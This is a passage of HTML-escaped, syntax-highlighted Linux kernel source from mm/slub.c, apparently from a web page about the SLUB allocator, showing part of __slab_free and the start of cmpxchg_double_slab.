	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache_node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;cm&quot;&gt;/* ... */&lt;/span&gt;
  
	&lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unlikely&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;spin_unlock_irqrestore&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;list_lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;prior&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;freelist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;counters&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;counters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;set_freepointer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tail&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prior&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;counters&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;was_frozen&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frozen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;inuse&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cnt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;inuse&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prior&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;was_frozen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kmem_cache_has_cpu_partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prior&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

				&lt;span class=&quot;cm&quot;&gt;/*
				 * Slab was on no list before and will be
				 * partially empty
				 * We can defer the list move and instead
				 * freeze it.
				 */&lt;/span&gt;
				&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frozen&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

			&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/* Needs to be taken off a list */&lt;/span&gt;

				&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page_to_nid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
				&lt;span class=&quot;cm&quot;&gt;/*
				 * Speculatively acquire the list_lock.
				 * If the cmpxchg does not succeed then we may
				 * drop the list_lock without any processing.
				 *
				 * Otherwise the list_lock will synchronize with
				 * other processors updating the list of slabs.
				 */&lt;/span&gt;
				&lt;span class=&quot;n&quot;&gt;spin_lock_irqsave&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;list_lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

			&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmpxchg_double_slab&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;prior&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;counters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;s&quot;&gt;&quot;__slab_free&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;likely&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;likely&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;was_frozen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;cm&quot;&gt;/*
			 * The list lock was not taken therefore no list
			 * activity can be necessary.
			 */&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;stat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FREE_FROZEN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frozen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;cm&quot;&gt;/*
			 * If we just froze the page then put it onto the
			 * per cpu partial list.
			 */&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;put_cpu_partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;stat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CPU_PARTIAL_FREE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unlikely&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;inuse&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;nr_partial&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;min_partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;slab_empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;cm&quot;&gt;/*
	 * Objects left in the slab. If it was not on the partial list before
	 * then add it.
	 */&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kmem_cache_has_cpu_partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unlikely&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prior&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;remove_full&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;add_partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DEACTIVATE_TO_TAIL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;stat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FREE_ADD_PARTIAL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;spin_unlock_irqrestore&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;list_lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;slab_empty:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prior&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;cm&quot;&gt;/*
		 * Slab on the partial list.
		 */&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;remove_partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;stat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FREE_REMOVE_PARTIAL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;cm&quot;&gt;/* Slab must be on the full list */&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;remove_full&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  
	&lt;span class=&quot;cm&quot;&gt;/* ... */&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;discard_slab&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* mm/slub.c */&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;inline&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;cmpxchg_double_slab&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;freelist_old&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counters_old&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;freelist_new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counters_new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#if defined(CONFIG_HAVE_CMPXCHG_DOUBLE) &amp;amp;&amp;amp; \
    defined(CONFIG_HAVE_ALIGNED_STRUCT_PAGE)
&lt;/span&gt;	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__CMPXCHG_DOUBLE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmpxchg_double&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;freelist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;counters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
				   &lt;span class=&quot;n&quot;&gt;freelist_old&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counters_old&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
				   &lt;span class=&quot;n&quot;&gt;freelist_new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counters_new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

		&lt;span class=&quot;n&quot;&gt;local_irq_save&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;__slab_lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;freelist&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;freelist_old&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
					&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;counters&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counters_old&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;freelist&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;freelist_new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;counters&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counters_new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;__slab_unlock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;local_irq_restore&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
